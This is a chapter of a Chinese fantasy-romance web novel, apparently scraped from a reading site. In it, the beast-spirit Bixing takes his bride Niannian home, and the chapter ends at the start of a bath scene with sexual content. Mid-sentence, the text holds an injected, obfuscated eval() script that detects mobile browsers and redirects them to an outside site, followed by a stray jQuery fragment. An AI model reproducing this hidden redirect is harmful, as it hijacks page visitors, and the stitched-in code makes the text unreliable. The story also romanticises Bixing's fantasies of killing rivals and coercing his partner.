辟星拒绝了辟金留在焜明阙举办婚宴的提议。
辟金吹胡子瞪眼,一手杖抡上去,他结结实实挨了一棍子。
“混账东西,没规矩!”
辟星慢条斯理地掸了掸袖子:“我本来也不做劳什子少主,您省心吧。”
“你——你你你你你你!”辟金手指尖儿颤如筛子,脸色气得发黄,“你到底是我的长子,怎能让人无名无分跟了你?简直是奇耻大辱,丝毫不尊重!”
年年抿唇,鼓起勇气道:“大王,其实……夫君正是尊重我的想法,才会拒绝的。”
辟金眯眸:“……从何说起?”
她微微一笑,温声道:“我身住雀杭山,心系那处,若是成婚,便想在雀杭山上,与亲朋好友一起——”
辟金沉吟:“年兽么?”
她摇头:“是普通的妖民,但都是我的朋友。”
辟金瞧了辟星一眼,目光又流转在年年身上,笑了一声,又笑了两声:“山上?”
年年眨眸,掌心发汗。
“雀杭山?”
年年缓慢,但坚定地点头:“我在那里生活。”
“雀杭山?没听过的小山头。”辟金摇头,哈哈大笑:“……你是不知道,这逆子从小才是最爱讲排场的,若非达到他的标准,便是眼皮都不抬一下,若是从前,别说焜明阙,便是苍宁上神的招摇山也懒得来访,最爱去的是那西王母娘娘所在的三危山,在那里摸爬滚打,”
辟星无奈:“啧。说这些干什么。”
“干什么?!”辟金又敲他一棍子,“当年说走便走,谁都拦不住你,一只兽身都不够你乐的,要化几百几千只到处吃喝玩乐,哈,你这混账小子也知道疼人了,紧着人家喜欢的地方凑,那片鳞,依我看,别痊愈,万事大吉!”
辟星嗤笑半晌,竟是无话可说。
末了,沉吟片刻,闭上嘴。
他少有吃瘪,可他在雀杭山上,又是做饭,又是修路,确实做了许多自己从前不曾想过会做的事情。
他黑着脸,不再与辟金拉扯,交代两句,便拉着年年往雀杭山走。
“你小子,混账!——老子还没说完,要死啊你!”
辟星敷衍两声:“啊啊,到时候我死了通知你。”
年年:“夫君!”
两只貔貅吵得地动山摇,年年离开焜明阙前,觉得辟星说话过分,还捏捏袖角,让他道了个歉。
哪成想,辟星叹了口气,真的听。
辟金对天降的儿媳妇看在眼里,疼在心里,临走前,不忘给他们包上一堆数不清的金银首饰漂亮衣裳珠宝珊瑚……全都放在一个小小的储物袋里,随取随拿,一点不占地方。
回到雀杭山的途中,辟星从她身后揽住她,将她完全抱在怀中,和她慢慢讲了过去的事。
“我运气很好。”他的开头是这样。
是的。
辟星运气很好,这几个几乎可以涵盖他的前半生。
高贵的出身,优秀的外表,足以挥霍几辈子,甚至都无法挥霍完的金银财宝,没有任何后顾之忧。
他通过金银财宝识人。儿时通过金银财宝识出谁拥有财富和资源,长大后通过金银财宝识别谁看上了他的财富和资源。他身边个个都是精明兽,揣摩着他的心思,毕恭毕敬。
他没有任何足以颠覆性格,使他世界蒙上阴影的苦痛经历,他将他母亲的离开视为理所当然之事。
他应有尽有。
正是因为过于应有尽有,他高傲,不愿低头,等待着周围一切好事送上门,不够好的,甚至懒得抬眼。他游戏着。他游戏在众兽的呼喊、期待和心愿里。他的生活平淡,庸俗,麻木,无趣,像是雨后地面张灯结彩的倒影,踩一脚过去,听个响儿,再恢复原状。又是张灯结彩,缥缈,永远不会破碎。
直到他收到长者强硬的要求,旁人基于他身份带来的永无止境的期盼,他发觉他与生俱来的条件,不是他生来期盼的条件。
他拥有的一切,是父亲的遗产,而非他的夙愿。
他无法再忍受倒影,无法再忍受这样的生活,他义无反顾地离开,拾掇起自己的生意,用另一种方式游戏三界。他要去创造一个属于自己的世界。
正如辟金所说,辟星逍遥自在,没有什么可以拦住他,改变他的心意。
他从不知什么叫后悔。往哪走,都是往前走。
他就这样往前走着,越过一处泥沼,遇见了从天而降的小年兽。
辟星不会告诉年年——
他从没见过这么好骗的兽。
只是随口吓唬,就会哭,说什么,都会信。
太有意思了,像个打发时间的用的玩具。
原本,身体换回来之后,他就该停止在她身上游戏。
可是他就这样把她丢在那里,她该怎么办?
她会被谁稀里糊涂骗走,为谁做嫁衣?
她是他身旁最没眼力见的家伙,看不出他的喜怒哀乐,猜不着他的心思,只会哭,哭得有理有据,哭得气鼓鼓的,眼泪一掉,身旁的人就都心软了,怎么都移不开目光。
可不止他,还有多少其他的郎君……她根本不知晓,当她看着别人时,一颦一笑有什么样的吸引力。
喜欢她笑得闪闪发亮的眼睛。
喜欢她认真和他说话时的神态。
喜欢她隐藏在脆弱后,努力支撑自己的坚强。
喜欢她抱着他,叫他、唤他、爱他,在神思交融的瞬间,下意识探过来的唇。柔软的腰身,长腿……像是甜蜜到让他无法思考的毒药。
他自然也不会告诉年年:他看见她和方如雁、飞凌那些玩意儿说话的时候,心里早就把对方大卸八块,肢/解了不知多少遍。
辟星会忍耐:反正她对人间一知半解,她总会回头来找他。
她会回到他的身边,勾着他的脖颈,让他低头。
事实是,他总会向她低头。
就连她离开他的身边,将他抛下,他都会一反常态追到她的身边,死乞白赖地留下。
原本,他应该采用各种雷霆手段,断了她的生路,她看谁,就杀谁,将她当成生杀予夺的猎物,让她在走投无路的时候逃回来,用那张可怜见的漂亮娇妍的面庞,哭着,跪在他的脚边求饶——就像他对待那些不听话的欠债者一样,享受着对方对他的臣服。
对一只兽这样有耐心,辟星以前从不会这样。他做着和以前截然相反的事。
可是,例外就是这样糊里糊涂,又理所当然地来临了。
待在她身旁的时间,花多少钱都买不来。无法用金银财宝衡量的,还有空气,和这个世界。
于是,毫无疑问:
他如愿以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360425|166090||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
偿,拥有了一个崭新的世界。
-
回到雀杭山的时候,熟悉的凉爽空气扑面而来。
飞云和药药都来迎接了年年。年年从辟星怀里跳下来,和她们抱在一起,眼睛亮晶晶的。
雀杭山一切都好,大家都好,年年也很好。
日落最后的余韵泛着迷离的紫色,年年打理完茶园的事情,回来便看见辟星坐在高高的屋檐上。
日落时分,辟星在等她回家。
“做了饭。”辟星说。
年年面露难色:“……什么饭呀?”
鸟儿扑棱着翅膀,唰得一下跟着太阳的影子跑了。
年年跟着辟星走进小屋里,桌上摆着三道色香味俱全的菜色,令兽流口水。
年年不敢置信地盯着:“这是……?!”
看上去完全不像是辟星能做出来的东西啊!
辟星咬着烟杆,得意洋洋道:“琼浆玉脂烩八珍,宫廷雪茶凫,琥珀玲珑太极盏。”
好复杂的名字喔……
年年面露疑光,仔细一看,这三道菜其实是佛跳墙,鸭子,还有豆腐。
年年浅尝一口,瞳孔地震“这真的是夫君做的菜吗?”
能把菜色做得这么高级……不像是夫君的手艺,反倒像是夫君的手笔吧?
辟星目光躲闪:“当然了。”
完全不当然。
这是辟星从人间宫廷御厨里捉了两个厨子得到的成果,他阴气森森地吓唬人,说如果做不出来,就日日附身,变成鬼怪日夜纠缠,差点把厨子吓尿。
辟星咳了咳:“夫君我很厉害吧。”
年年点头,细细品味,将信将疑,一顿饭吃得有滋有味。饭后还是辟星琢磨着,伸出一双金贵的爪子洗碗,几只碗洗了好几炷香的时间。
零碎的家务活干完之后,辟星很快凑上去,像个守家过久,可怜兮兮地怨夫,抱着她讨吻。
“年宝……”
年年忙不迭软着嗓,推开他:“哎呀,我身上有汗,要沐浴呀。”
辟星埋首在她脖颈间,深吸一口气,哑声道:“好。”
既然要沐浴,就一起沐浴。
年年被他带到浴桶里,谨慎地穿着小衣,没有脱下来。
可是沾了水的小衣黏在身上,勾勒出完美的曲线,更加惹眼。
辟星背靠在浴桶里,强健有力的手臂一手搭在浴桶边沿,一手捏着烟杆,缓慢地吸吐烟气,金眸凝睇着她,毫不掩饰危险的侵略欲和占有欲。
烟雾流转。
金眸闪闪发亮。
年年耳尖发红,绾起来的发浮着晶莹的水汽,背对着坐在他身前,胡乱擦拭着身体。
辟星的存在感太强,她时不时偏过眼眸,去瞧他的脸。
辟星似笑非笑:“洗完了?”
年年摇头,又点头,面色赧红,小声道:“洗……洗完了呀。”
辟星指间转过烟杆,用刚刚咬过的地方,轻轻划过她腻白的肌肤。
一路往下。
他眼眸幽幽,含着笑,狎昵道:“……没洗完,这儿没洗。”
年年的脸腾得一下,彻底红透了。
那那那里……
他倾身,身前的水哗啦啦响,粗粝的手指探过去,舔吻着她的耳垂,诱道:“我帮年宝洗干净,好不好?”